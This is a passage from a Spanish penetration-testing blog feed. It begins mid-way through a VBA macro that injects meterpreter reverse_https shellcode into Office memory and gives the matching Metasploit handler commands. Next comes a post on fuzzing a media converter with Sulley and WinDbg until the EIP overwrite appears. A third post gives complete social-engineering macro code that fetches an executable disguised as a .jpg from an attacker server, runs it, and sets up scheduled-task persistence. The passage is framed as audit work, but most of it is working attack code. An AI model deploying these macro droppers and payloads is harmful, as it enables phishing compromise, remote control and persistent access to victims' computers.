Dim Miuwy As Long, Zvssckpzo As Long
#EndIf
Bbzryy = Array(232,137,0,0,0,96,137,229,49,210,100,139,82,48,139,82,12,139,82,20, _
139,114,40,15,183,74,38,49,255,49,192,172,60,97,124,2,44,32,193,207, _
13,1,199,226,240,82,87,139,82,16,139,66,60,1,208,139,64,120,133,192, _
116,74,1,208,80,139,72,24,139,88,32,1,211,227,60,73,139,52,139,1, _
214,49,255,49,192,172,193,207,13,1,199,56,224,117,244,3,125,248,59,125, _
36,117,226,88,139,88,36,1,211,102,139,12,75,139,88,28,1,211,139,4, _
139,1,208,137,68,36,36,91,91,97,89,90,81,255,224,88,95,90,139,18, _
235,134,93,104,110,101,116,0,104,119,105,110,105,84,104,76,119,38,7,255, _
213,49,255,87,87,87,87,106,0,84,104,58,86,121,167,255,213,235,95,91, _
49,201,81,81,106,3,81,81,104,187,1,0,0,83,80,104,87,137,159,198, _
255,213,235,72,89,49,210,82,104,0,50,160,132,82,82,82,81,82,80,104, _
235,85,46,59,255,213,137,198,106,16,91,104,128,51,0,0,137,224,106,4, _
80,106,31,86,104,117,70,158,134,255,213,49,255,87,87,87,87,86,104,45, _
6,24,123,255,213,133,192,117,26,75,116,16,235,213,235,73,232,179,255,255, _
255,47,81,99,57,111,0,0,104,240,181,162,86,255,213,106,64,104,0,16, _
0,0,104,0,0,64,0,87,104,88,164,83,229,255,213,147,83,83,137,231, _
87,104,0,32,0,0,83,86,104,18,150,137,226,255,213,133,192,116,205,139, _
7,1,195,133,192,117,229,88,195,232,81,255,255,255,49,57,50,46,49,54, _
56,46,49,46,49,48,48,0)
Miuwy = VirtualAlloc(0, UBound(Bbzryy), &H1000, &H40)
For Fhggo = LBound(Bbzryy) To UBound(Bbzryy)
Igrremhxu = Bbzryy(Fhggo)
Zvssckpzo = RtlMoveMemory(Miuwy + Fhggo, Igrremhxu, 1)
Next Fhggo
Zvssckpzo = CreateThread(0, 0, Miuwy, 0, 0, 0)
End Sub
Sub AutoOpen()
Auto_Open
End Sub
Sub Workbook_Open()
Auto_Open
End Sub
</pre>
<br />
<br />
Este código lo tendremos que copiar tal cual en la macro del documento.<br />
<br />
En nuestro servidor:<br />
<br />
<div style="background-color: white; font-family: "Courier New",Courier,monospace;">
use exploit/multi/handler<br />
set payload windows/meterpreter/reverse_https<br />
set LHOST 192.168.1.100<br />
set LPORT 443<br />
set MeterpreterServerName testserver<br />
set MeterpreterUserAgent test<br />
set ExitOnSession false<br />
exploit -j -z<br />
<br /></div>
<br />
Abrimos el documento, aceptamos las macros y ..<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://3.bp.blogspot.com/-A8HFOvKh0X0/UDKGHUaRjCI/AAAAAAAAAJI/lMj1xRBhSXo/s1600/rever_http3.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="408" src="http://3.bp.blogspot.com/-A8HFOvKh0X0/UDKGHUaRjCI/AAAAAAAAAJI/lMj1xRBhSXo/s640/rever_http3.jpg" width="640" /></a></div>
<br />
<br />
Vamos a adentrarnos un poquito mas en el funcionamiento a un nivel mas bajo:<br />
<br />
Buscamos con nuestro debugger favorito (olly,immunity debugger,etc) la dirección de memoria de virtualalloc que utiliza nuestra macro para hacer ejecutable una zona de memoria y copiar nuestra shellcode en esa zona de memoria, tambien buscamos la dirección de WinInet que utiliza el meterpreter una vez es ejecutado.<br />
<br />
En mi caso son:<br />
<br />
<div style="background-color: white; font-family: "Courier New",Courier,monospace;">
virtualalloc del kernel32.dll -> 76A51856<br />
<br />
Wininet -> 74E51735</div>
<br />
Consejo:Para evitar problemas con el Wininet, en la maquina donde hagamos las pruebas, cerramos cualquier navegador y/o aplicación que pueda utilizar conexion a internet.<br />
<br />
Abrimos nuestro documento excel (en mi caso) con macros y ANTES de habilitar las macros, hacemos un attach del excel.exe con nuestro debugger.Después de poner un breakpoint en el virtualalloc del kernel32.dll en mi caso 76A51856 , ponemos otro breakpoint en Wininet , que lo utilizará meterpreter para realizar las conexiones, en mi caso es la direccion 74E51735, una vez tenemos los 2 breakpoints le damos a F9 para que siga ejecutandose y ya podemos darle a "Habilitar Macros" en el documento:<br />
<br />
Según le demos a habilitar macros, veremos como entramos en nuestro breakpoint del virtualalloc, ademas en la pila podemos ver la llamada realizada a VirtualAlloc y vemos claramente como se ha llamado desde el modulo VBE7 , el modulo que utilizan las macros de word.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://2.bp.blogspot.com/-nAnkDO6tQro/UDKGcXBzYdI/AAAAAAAAAJQ/v7n5cPy6nvg/s1600/rever_http4.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="284" src="http://2.bp.blogspot.com/-nAnkDO6tQro/UDKGcXBzYdI/AAAAAAAAAJQ/v7n5cPy6nvg/s640/rever_http4.jpg" width="640" /></a></div>
<br />
<br />
Con esto vemos como nuestra macro ha utilizado la funcion Virtualalloc, si seguimos avanzando con F8<br />
veremos como pasamos del kernel32.dll al modulo VBE7 en el debugger, donde se esta ejecutando el codigo VBA de nuestra macro, tal y como se ha comentado anteriormente.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://3.bp.blogspot.com/-YICQaejg69U/UDKGmHD9eGI/AAAAAAAAAJY/hJ3ZzzRNl8g/s1600/rever_http5.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="192" src="http://3.bp.blogspot.com/-YICQaejg69U/UDKGmHD9eGI/AAAAAAAAAJY/hJ3ZzzRNl8g/s640/rever_http5.jpg" width="640" /></a></div>
<br />
Seguidamente, quitamos el breakpoint del virtualalloc quedando solo el breakpoit de Wininet , si volvemos a pulsar F9 , veremos como entra en el breakpoint de Wininet, lo que indica que se esta ejecutando nuestro meterpreter y esta utilizando dicha función.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://4.bp.blogspot.com/-bgqISTgeijY/UDKGvuYG5wI/AAAAAAAAAJg/HsEIYjUOrhk/s1600/rever_http6.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="190" src="http://4.bp.blogspot.com/-bgqISTgeijY/UDKGvuYG5wI/AAAAAAAAAJg/HsEIYjUOrhk/s640/rever_http6.jpg" width="640" /></a></div>
Si le damos varias veces a F9 (utiliza la función multiples veces) veremos como obtenemos la sesión de meterpreter reverse_https.<br />
<br />
<br />REAL PENTESTINGhttp://www.blogger.com/profile/02222861083999610170noreply@blogger.com0tag:blogger.com,1999:blog-694521803021083340.post-28083004064779110972012-08-20T12:58:00.001-07:002012-08-20T14:05:45.684-07:00Encontrar vulnerabilidades con file format fuzzingEn este artículo vamos a ver como encontrar vulnerabilidades en aplicaciones que manejan ficheros. Vamos a ponernos en situación.<br />
<br />
Lo primero que debemos pensar cuando fuzzeamos este tipo de aplicaciones es qué vamos a fuzzear. No es lo mismo fuzzear un fichero .zip, que un .pdf, que un .pls o un .mp3 cada uno tendrá una estructura interna distinta y por tanto un fuzzing distinto.<br />
<br />
Recuerdo una charla de fuzzing de la NCN del año pasado en la que contaban algo sobre fuzzing y decían fuzzear? eso es meter mierdaza a las aplicaciones esperando a que peten. y eso es lo que vamos a hacer. Vamos a generar una lista de ficheros con "mierdaza" en ellos para ver como responde la aplicación cuando los abre y monitorizar el estado de la misma para encontrar un fallo que sea explotable.<br />
<br />
Tras testear diversos maneras voy a explicar la que me ha parecido más rápida e interesante.<br />
Lo primero que debemos hacer es descargar todo lo que necesitamos:<br />
<br />
En primer lugar ¿como vamos a generar esos archivos y le vamos a meter la basura? La respuesta es: usaremos sulley. Alguno pensara? por que no spike? lo que queráis, el objetivo ya sabemos cual es: generar una serie de ficheros con basura dentro de ellos. Podemos descargar el ejecutable de sulley de la siguiente dirección: <span class="st"><a href="http://www.blogger.com/goog_1789511254">http://www.</a></span><a href="http://www.blogger.com/goog_1789511254">fuzzing.org/<i>wp</i>-<i>content</i>/<i>Sulley</i>%20Fuzzing%20Framework.</a><i><a href="http://www.fuzzing.org/wp-content/Sulley%20Fuzzing%20Framework.exe" target="_blank">exe.</a></i><br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://1.bp.blogspot.com/-bN2SYRq3ZYI/UDJlX1aoywI/AAAAAAAAAHo/guP5J_UtJ54/s1600/sulley.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="400" src="http://1.bp.blogspot.com/-bN2SYRq3ZYI/UDJlX1aoywI/AAAAAAAAAHo/guP5J_UtJ54/s640/sulley.png" width="640" /></a></div>
<br />
Ahora debemos realizar un script en python para usar sulley con el que podamos generar una lista de ficheros con la basura insertada en ellos pero antes debemos pensar qué aplicación queremos fuzzear. Yo usaré un ejemplo simple como puede ser la aplicacion Easy RM to MP3 para la cual ya hay varios exploits en exploit-db (<a href="http://www.exploit-db.com/exploits/14550/">http://www.exploit-db.com/exploits/14550/</a>):<br />
<br />
Como vemos el crash esta en los ficheros .m3u por lo que queremos un fuzzer de ficheros m3u. Quizás un m3u es muy sencillo ya que se trata de un fichero de texto plano en que se almacena una ruta desde la que se carga una lista de música pero nos sirve para entender los conceptos<br />
<br />
Un fichero legitimo de listas de música .m3u seria así:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://1.bp.blogspot.com/-I7SflCo25a8/UDJqr0Bli_I/AAAAAAAAAH0/vm7Fm_ovVMI/s1600/20-08-2012+18-48-49.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="147" src="http://1.bp.blogspot.com/-I7SflCo25a8/UDJqr0Bli_I/AAAAAAAAAH0/vm7Fm_ovVMI/s640/20-08-2012+18-48-49.png" width="640" /></a></div>
<br />
Por lo que queremos ficheros que sean así pues manos a la obra¡¡ <br />
<br />
Aquí lo tenemos: <br />
<br />
<pre class="brush: js">#!/usr/bin/env python
import sys #importaciones importantes
import os
sys.path.append("C:\sulley") #define donde tienes instalado sulley para mutaciones
from sulley import * #importa todo lo que haya en sulley
s_initialize("M3U") #Nombre del fuzzer
#definimos la gramatica del fuzzer
#s_string --> queremos fuzzear esto como un string
#s_static --> no queremos fuzzearlo
#s_byte --> fuzzear enteros (no hace falta)
s_string("#EXTM3U\n")
s_static( "#EXTINF:")
s_byte(348, format="string")
s_static(",Mr. Scruff - Kalimba")
s_static("C:\Users\Public\Music\Sample Music\Kalimba.mp3")
print "Se van a realizar: " + str(s_num_mutations()) + " mutaciones"
i=0
while s_mutate():
test_cases = open("m3u_test\prueba-%i.m3u"%i, "w")
test_cases.write(s_render())
test_cases.close()
i = i+1
print "Finalizado"
</pre>
<br />
Ejecutamos el Script en python y vemos que efectivamente se nos crean los ficheros de pruebas:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://3.bp.blogspot.com/-jvgFT-ciIfA/UDJwcb-PuGI/AAAAAAAAAIA/Ycgn88t9Nok/s1600/20-08-2012+19-13-53.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="454" src="http://3.bp.blogspot.com/-jvgFT-ciIfA/UDJwcb-PuGI/AAAAAAAAAIA/Ycgn88t9Nok/s640/20-08-2012+19-13-53.png" width="640" /></a> </div>
<br />
Bueno y si os dijera que tenemos que ir uno a uno probándolos en el Olly o el inmunity? Evidentemente no¡¡ Por eso nos vamos a descargar el windbg de Microsoft que además dispone de una interfaz de comandos facilmente automatizable para realizar el proceso un poco menos tedioso:<br />
<br />
Lo podemos descargar de aquí: <a href="http://msdn.microsoft.com/en-us/windows/hardware/gg463009.aspx">http://msdn.microsoft.com/en-us/windows/hardware/gg463009.aspx</a><br />
<br />
Una vez que lo tenemos vamos a instalar un plugin que se llama <b>exploitable</b>. ¿Qué hace este plugin? Nos indica de una manera muy certera si el crash que ha encontrado es explotable tras analizarlo él por su cuenta.<br />
<br />
Lo descargamos de: <a href="http://msecdbg.codeplex.com/">http://msecdbg.codeplex.com/</a>, descomprimimos e instalamos en la ruta del Windbg pero en la carpeta winext copiamos la dll MSEC.dll. Con esto si accedemos al windbg y ejecutamos !load /winext msec.dll cargaremos dicho modulo. Pero además de esto el windbg tiene comandos muy utiles y que vamos a usar como:<br />
<br />
<blockquote class="tr_bq">
<div style="background-color: white; font-family: "Courier New",Courier,monospace;">
.logopen fichero.log --> Abre un fichero en el que va a loguear todo el crash<br />
.g --> Arranca el binario<br />
.!exploitable -m --> Devuelve el resultado del crash en formato legible y parseable <br />
.logclose --> cierra el fichero de log <br />
.q --> cierra el windbg</div>
</blockquote>
Por supuesto tenemos más archivos pero con esto nos vale. Bueno vamos a automatizar y a encontrar el crash de una vez:<br />
<br />
<blockquote class="tr_bq">
<div style="background-color: white; font-family: "Courier New",Courier,monospace;">
FOR /L %i in (inicio,incremento,fin) do @"[ruta de Windgb]\cdb.exe -amsec.dll -c ".logopen crash%i.log; g; !exploitable -m; .logclose" [ruta app vulnerable] [comandos_applicacion][ficheros_vuln]</div>
</blockquote>
<br />
Con esto arrancamos la aplicación vulnerable "atacheada" con windbg y almacenando el crash en un fichero que posteriormente veremos.<br />
Por otro lado dejaremos otro script que vaya matando el cdb.exe (nuestro windbg) para matar la aplicación y que se vuelva abrir de nuevo de la siguiente manera:<br />
<br />
<blockquote class="tr_bq">
<div style="background-color: white; font-family: "Courier New",Courier,monospace;">
FOR /L %i in (0,0,0) do @wmic process where (name="cdb.exe") delete && ping -n [delay] localhost > nul</div>
</blockquote>
<br />
Tras observar la ayuda vemos que nuestra aplicación vulnerable carga los archivos de la siguiente manera:<br />
<br />
<blockquote class="tr_bq">
<div style="background-color: white; font-family: "Courier New",Courier,monospace;">
RM2MP3Converter.exe /cf "C:\Documents and Settings\xxxxx\Escritorio\m3u_test\prueba-x.m3u"</div>
</blockquote>
<br />
Por lo que nos quedaría el siguiente comando (Nota:1186 ficheros generados por el fuzzing):<br />
<br />
<blockquote class="tr_bq">
<div style="background-color: white; font-family: "Courier New",Courier,monospace;">
FOR /L %i in (0,1,1186) do @"C:\Archivos de programa\Debugging Tools for Windows (x86)\cdb.exe"
-amsec.dll -c ".logopen crash%i.log; g; !exploitable -m; .logclose" "C:\Archivos de programa\Easy RM to MP3 Converter\RM2MP3Converter.exe" /cf "C:\Documents and Settings\xxxxx\Escritorio\m3u_test\prueba-%i.m3u"</div>
</blockquote>
<br />
Y nuestra función de matar el proceso cdb cada 7 segundos:<br />
<blockquote class="tr_bq">
<div style="background-color: white; font-family: "Courier New",Courier,monospace;">
FOR /L %i in (0,0,0) do @wmic process where (name="cdb.exe") delete && ping -n 7 localhost > nul</div>
</blockquote>
La aplicación se va parando y arrancando automáticamente y almacenando un fichero.log del crash:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://3.bp.blogspot.com/-6hiS_heAMm0/UDJ55Y5giOI/AAAAAAAAAIc/TMXvYVkw3Oo/s1600/20-08-2012+19-47-44.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="425" src="http://3.bp.blogspot.com/-6hiS_heAMm0/UDJ55Y5giOI/AAAAAAAAAIc/TMXvYVkw3Oo/s640/20-08-2012+19-47-44.png" width="640" /></a></div>
<br />
El plugin de !exploitable nos habrá echo el trabajo ya que da tres clasificaciones según la explotabilidad del crash:<br />
<blockquote class="tr_bq">
<div style="background-color: white; font-family: "Courier New",Courier,monospace;">
<ul>
<li>Unknow --> Se desconoce</li>
<li>no_signal_exception --> no ha dado ningun problema</li>
<li>exploitable --> Explotable¡¡ :)</li>
</ul>
</div>
</blockquote>
Podemos ahora buscar con la herramienta para windows de lineas de comandos findstr o como queramos la cadena EXPLOITABLE y obtendremos los crashes explotables:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://2.bp.blogspot.com/-0jjwVa4i4dY/UDJ6ydh1VoI/AAAAAAAAAIk/9KdS0p8hF2s/s1600/exploit.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="588" src="http://2.bp.blogspot.com/-0jjwVa4i4dY/UDJ6ydh1VoI/AAAAAAAAAIk/9KdS0p8hF2s/s640/exploit.png" width="640" /></a></div>
<br />
Con esto podemos ir al fichero del mismo numero y por ejemplo realizar el proceso manualmente para verlo cojamos al azar por ejemplo el crash 133. Por lo que abrimos el olly y arrancamos nuestro easy_mp3. Cojemos el fichero explotable (el crash número 133) y lo abrimos y vemos que mete muchisimos 1.<br />
Ahora vamos al olly lo cargamos en nuestra aplicación que previamente hemos dejado abierta con el olly y vemos que sobrescribe eip con 31313131:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://4.bp.blogspot.com/-C_-MqC9l48c/UDJ88lRh4GI/AAAAAAAAAIs/JXK6iqDKFy8/s1600/20-08-2012+20-07-26.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="276" src="http://4.bp.blogspot.com/-C_-MqC9l48c/UDJ88lRh4GI/AAAAAAAAAIs/JXK6iqDKFy8/s640/20-08-2012+20-07-26.png" width="640" /></a></div>
<br />
Ese 31313131 es el carácter ASCII 1 en hexadecimal por tanto hemos sobrescrito EIP. Por lo que hemos detectado por fuzzing un Stack Buffer Overflow.<br />
<br />
Mas adelante veremos una manera de hacer esto un poquito más rápido y automatizado.<br />
<br />
Un saludo¡REAL PENTESTINGhttp://www.blogger.com/profile/02222861083999610170noreply@blogger.com1tag:blogger.com,1999:blog-694521803021083340.post-51915388072525732082012-08-15T07:41:00.002-07:002012-08-15T07:41:38.672-07:00Ingeniería social con macros de Microsoft Office.Cuando tenemos que realizar alguna auditoría pruebas de ingeniería social en ataques a clientes, una de las maneras mas efectivas es utilizar documentos word con macros.Mediante esta técnica, no dependemos de ninguna vulnerabilidad de software, solo dependemos de que los usuarios que abran el documento acepten las macros, cosa que aunque pueda parecer sorprendente, hacen muy a menudo. Incluso si lo tienen configurado, puede ni salir el mensaje de aceptar macros.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://1.bp.blogspot.com/-5VNOsbkg4Gw/UCuxTiO055I/AAAAAAAAAHU/CptfxWtCmrw/s1600/macros.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="174" src="http://1.bp.blogspot.com/-5VNOsbkg4Gw/UCuxTiO055I/AAAAAAAAAHU/CptfxWtCmrw/s640/macros.jpg" width="640" /></a></div>
<br />
<br />
Una vez el usuario final acepte la macro, podremos infectar al equipo de forma controlada y de múltiples formas.A lo largo de varias entradas iremos hablando de estas distintas formas:<br />
<br />
La primero que vamos a utilizar es hacer nuestro propio código en VBA (Visual Basic Application) para descargar y ejecutar los binarios que hemos generado en <a href="http://realpentesting.blogspot.com.es/2012/08/es-habitual-escuchar-en-muchas-empresas.html" target="_blank">Manipulación de binarios para evasión de antivirus</a> .<br />
<br />
Recordemos que tenemos un binario para sistemas sin ASLR y otro para sistemas con ASLR, por lo que tendremos que detectar que sistema operativo tenemos cuando se este ejecutando la macro y en función de ello descargue un binario u otro.<br />
<br />
Además de todo ello, también podríamos querer tener persistencia en nuestra sesión de meterpreter.Tenemos los scripts persistence y met_svc de meterpreter, con estos, se manipulan datos del registro entre otras cosas y algunos antivirus lo detectan, por lo que no nos sirve, podríamos cambiar su funcionamiento, pero quizá sea mas practico buscarnos otra forma.Para ello, vamos a crear una tarea programa en el sistema operativo, para que compruebe cada minuto si nuestro .exe esta en ejecución , si no lo esta, lo ejecutara y nos devolverá shell.Así tanto si muere nuestra sesión, como si reinician el equipo, volveremos a tener sesión siempre que tengamos el multi handler de metasploit escuchando.<br />
<br />
Vamos a ver como hacemos todo esto en las macros:<br />
<br />
Lo primero que hacemos es utilizar la función AutoOpen() para que se ejecute nada mas abrir el documento ( y aceptar la ejecución de macros).Vemos que aquí lo que hacemos es llamar a la función OSVersion que hemos creado, veremos justo después que realiza.<br />
<br />
<pre class="brush: js">Sub AutoOpen()
OSVersion
End Sub
</pre>
Lo que hace la función OSVersion() es comprobar que sistema operativo se esta ejecutando la macro.Si es winxp llamaremos a una función y si es Win7 llamaremos a otra ,esta parte la podemos modificar para win2k3 , winvista etc.. , en este caso solo nos interesa winxp y win7<br />
<br />
Vamos a seguir el código como se iría ejecutando en el caso de ser un Win7<br />
<br />
<pre class="brush: js">Public Function OSVersion()
Set SystemSet = GetObject("winmgmts:").InstancesOf("Win32_OperatingSystem")
For Each Sys In SystemSet
Version = Sys.Caption
Next
If InStr(Version, "XP") = 0 Then
Download_7 'es distinto a winxp'
Else
Download_xp 'es WinXP'
End If
</pre>
<br />
Veamos ahora las funciones Download_7 y Download_xp, estas funciones usan el winhttp para descargar mediante http un recurso.Este recurso sera un jpg que tenemos en nuestro servidor web, este jpg, sera descargado y renombrado a .exe en el sistema, en concreto en c:\ . Una vez descargado, sera ejecutado llamando a la función que hemos creado RunFile y después de ejecutarlo, se llamara a la función Download_7_persist que es la función que hará las acciones pertinentes para proporcionarnos persistencia en nuestra sesión.<br />
<br />
<br />
<pre class="brush: js">Private Sub Download_7()
Dim FileNum As Long
Dim FileData() As Byte
Dim MyFile As String
Dim MyFile2 As String
Dim WHTTP As Object
On Error Resume Next
Set WHTTP = CreateObject("WinHTTP.WinHTTPrequest.5")
If Err.Number <> 0 Then
Set WHTTP = CreateObject("WinHTTP.WinHTTPrequest.5.1")
End If
MyFile = "http://192.168.1.100/met_7.jpg"
WHTTP.Open "GET", MyFile, False
WHTTP.Send
FileData = WHTTP.ResponseBody
Set WHTTP = Nothing
FileNum = FreeFile
Open "c:\met_7.exe" For Binary Access Write As #FileNum
Put #FileNum, 1, FileData
Close #FileNum
RunFile ("C:\met_7.exe")
Download_7_persist
End Sub
</pre>
<br />
La función RunFile, simplemente ejecutara desde un cmd el binario que le pasamos como parametro:<br />
<br />
<pre class="brush: js">Function RunFile(strFile As String)
Shell "cmd /C """ & strFile & """"
Error_Handler_Exit:
On Error Resume Next
Exit Function
Error_Handler:
Resume Error_Handler_Exit
End Function
</pre>
<br />
La función Download_7_persiste utiliza también winhttp para descargase un script en VBS (Visual Basic Script) y ejecutarlo, cuando lo ejecute, lo que hará es comprobar si en los procesos del sistema esta nuestro binario met_7.exe , si no, lo arrancara (en c:\met_7.exe) , mas abajo veremos el código de este VBS.<br />
<br />
<br />
<pre class="brush: js">Private Sub Download_7_persist()
Dim FileNum As Long
Dim FileData() As Byte
Dim MyFile As String
Dim WHTTP As Object
On Error Resume Next
Set WHTTP = CreateObject("WinHTTP.WinHTTPrequest.5")
If Err.Number <> 0 Then
Set WHTTP = CreateObject("WinHTTP.WinHTTPrequest.5.1")
End If
MyFile = "http://192.168.1.100/7/persist.vbs"
WHTTP.Open "GET", MyFile, False
WHTTP.Send
FileData = WHTTP.ResponseBody
Set WHTTP = Nothing
FileNum = FreeFile
Open "c:\persist.vbs" For Binary Access Write As #FileNum
Put #FileNum, 1, FileData
Close #FileNum
End Sub
</pre>
<br />
Aquí tenemos el código del met_7.vbs:<br />
<br />
<pre class="brush: js">
Set WshShell = WScript.CreateObject ("WScript.Shell")
Set colProcessList = GetObject("Winmgmts:").ExecQuery ("Select * from Win32_Process")
For Each objProcess in colProcessList
if objProcess.name = "met_7.exe" then
vFound = True
End if
Next
If vFound = True then
wscript.sleep 5000
Else
WshShell.Run ("C:\met_7.exe")
wscript.sleep 5000
End If
vFound = False
</pre>
<br />
<br />
Para que todo esto funcione, debemos levantar el multi/handler de la siguiente manera:<br />
<br />
<blockquote class="tr_bq">
<br />
./msfconsole<br />
use exploit/multi/handler<br />
<br />
set lport 443 # levantamos el multi handler en el puerto 443 que es el que utilizan nuestros binarios<br />
<br />
set AutoRunScript scheduleme -m 1 -c C:\\\\persist.vbs # en cuanto obtengamos sesión, se creara la tarea programada a ejecutarse cada minuto, lo que ejecuta es nuestro script persist.vbs<br />
<br />
set ExitOnSession false <br />
<br />
exploit -j -z<br />
<br />
<br /></blockquote>
<br />
Con todo esto empezaremos a obtener sesiones de los usuarios que hayan aceptado nuestras macros, y tendremos persistencia en caso de perder sesión.Evidentemente, esto en entornos corporativos en los que los usuarios solo pueden salir a internet a través de proxy no funciona ya que ni la descarga de los ficheros por macros ni la ejecución de meterpreter reverso funcionará, por lo que más adelante veremos una forma mucho mas sofisticada e interesante para realizarlo.<br />
<br />
Así queda el código de la macro completo:<br />
<br />
<pre class="brush: js">
Sub AutoOpen()
OSVersion
End Sub
Public Function OSVersion()
Set SystemSet = GetObject("winmgmts:").InstancesOf("Win32_OperatingSystem")
For Each Sys In SystemSet
Version = Sys.Caption
Next
If InStr(Version, "XP") = 0 Then
Download_7 'no es winxp'
Else
Download_xp 'es WinXP'
End If
End Function
Private Sub Download_xp()
Dim FileNum As Long
Dim FileData() As Byte
Dim MyFile As String
Dim WHTTP As Object
On Error Resume Next
Set WHTTP = CreateObject("WinHTTP.WinHTTPrequest.5")
If Err.Number <> 0 Then
Set WHTTP = CreateObject("WinHTTP.WinHTTPrequest.5.1")
End If
MyFile = "http://192.168.1.1/met_xp.jpg"
WHTTP.Open "GET", MyFile, False
WHTTP.Send
FileData = WHTTP.ResponseBody
Set WHTTP = Nothing
FileNum = FreeFile
Open "c:\met_xp.exe" For Binary Access Write As #FileNum
Put #FileNum, 1, FileData
Close #FileNum
RunFile ("C:\met_xp.exe")
Download_xp_persist
End Sub
Private Sub Download_xp_persist()
Dim FileNum As Long
Dim FileData() As Byte
Dim MyFile As String
Dim WHTTP As Object
On Error Resume Next
Set WHTTP = CreateObject("WinHTTP.WinHTTPrequest.5")
If Err.Number <> 0 Then
Set WHTTP = CreateObject("WinHTTP.WinHTTPrequest.5.1")
End If
'MyFile = "http://192.168.1.1/xp/persist.vbs"'
WHTTP.Open "GET", MyFile, False
WHTTP.Send
FileData = WHTTP.ResponseBody
Set WHTTP = Nothing
FileNum = FreeFile
Open "c:\persist.vbs" For Binary Access Write As #FileNum
Put #FileNum, 1, FileData
Close #FileNum
End Sub
Private Sub Download_7()
Dim FileNum As Long
Dim FileData() As Byte
Dim MyFile As String
Dim MyFile2 As String
Dim WHTTP As Object
On Error Resume Next
Set WHTTP = CreateObject("WinHTTP.WinHTTPrequest.5")
If Err.Number <> 0 Then
Set WHTTP = CreateObject("WinHTTP.WinHTTPrequest.5.1")
End If
MyFile = "http://192.168.1.100/met_7.jpg"
WHTTP.Open "GET", MyFile, False
WHTTP.Send
FileData = WHTTP.ResponseBody
Set WHTTP = Nothing
FileNum = FreeFile
Open "c:\met_7.exe" For Binary Access Write As #FileNum
Put #FileNum, 1, FileData
Close #FileNum
RunFile ("C:\met_7.exe")
Download_7_persist
End Sub
Private Sub Download_7_persist()
Dim FileNum As Long
Dim FileData() As Byte
Dim MyFile As String
Dim WHTTP As Object
On Error Resume Next
Set WHTTP = CreateObject("WinHTTP.WinHTTPrequest.5")
If Err.Number <> 0 Then
Set WHTTP = CreateObject("WinHTTP.WinHTTPrequest.5.1")
End If
MyFile = "http://192.168.1.100/7/persist.vbs"
WHTTP.Open "GET", MyFile, False
WHTTP.Send
FileData = WHTTP.ResponseBody
Set WHTTP = Nothing
FileNum = FreeFile
Open "c:\persist.vbs" For Binary Access Write As #FileNum
Put #FileNum, 1, FileData
Close #FileNum
End Sub
Function RunFile(strFile As String)
Shell "cmd /C """ & strFile & """"
Error_Handler_Exit:
On Error Resume Next
Exit Function
Error_Handler:
Resume Error_Handler_Exit
End Function
</pre>
<div>
<br /></div>
REAL PENTESTINGhttp://www.blogger.com/profile/02222861083999610170noreply@blogger.com0tag:blogger.com,1999:blog-694521803021083340.post-32020413926781383952012-08-11T05:02:00.002-07:002012-08-11T06:43:32.060-07:00Auditorías de CMS Alfresco<br />
<div class="MsoNormal">
Durante una auditoría es importante tener en cuenta todas
las posibilidades a la hora de realizar una intrusión. Muchas veces encontramos
CMS o frameworks en empresas que disponen de una contraseña de administración débil
o que conseguimos acceder al panel de administración y nos gustaría tomar el
control de esa máquina pero no tenemos ejecución de comandos.</div>
<br />
<div class="MsoNormal">
Alfresco es uno de esos frameworks y una vez somos
administradores del sitio web vamos a ver cómo podemos conseguir la tan ansiada
Shell o interprete de comandos.<br />
Alfresco suele montarse en un servidor de aplicaciones como Tomcat, JBOSS, etc siempre servidores web que interpreten lenguajes JSP<br />
<br />
<span style="color: black; font-family: "Calibri","sans-serif"; font-size: 11pt; line-height: 115%;">Alfresco dispone de unas consolas de gestión que
sirven para realizar ejecución de comandos en la máquina de una manera un tanto
especial. Estas consolas son herramientas para programadores o administradores.
Para tener más información sobre estas consolas pueden consultar esta
referencia:</span><br />
<span style="font-family: "Calibri","sans-serif"; font-size: 11.0pt; line-height: 115%; mso-ansi-language: ES; mso-ascii-theme-font: minor-latin; mso-bidi-font-family: "Times New Roman"; mso-bidi-language: AR-SA; mso-bidi-theme-font: minor-bidi; mso-fareast-font-family: Calibri; mso-fareast-language: EN-US; mso-fareast-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;"> <a href="http://blyx.com/2010/06/04/alfresco-hack-las-consolas-escondidas-de-alfresco/">http://blyx.com/2010/06/04/alfresco-hack-las-consolas-escondidas-de-alfresco/</a></span></div>
<br />
<span style="font-family: "Calibri","sans-serif"; font-size: 11.0pt; line-height: 115%; mso-ansi-language: ES; mso-ascii-theme-font: minor-latin; mso-bidi-font-family: "Times New Roman"; mso-bidi-language: AR-SA; mso-bidi-theme-font: minor-bidi; mso-fareast-font-family: Calibri; mso-fareast-language: EN-US; mso-fareast-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;"> </span>
<br />
<div class="MsoNormal">
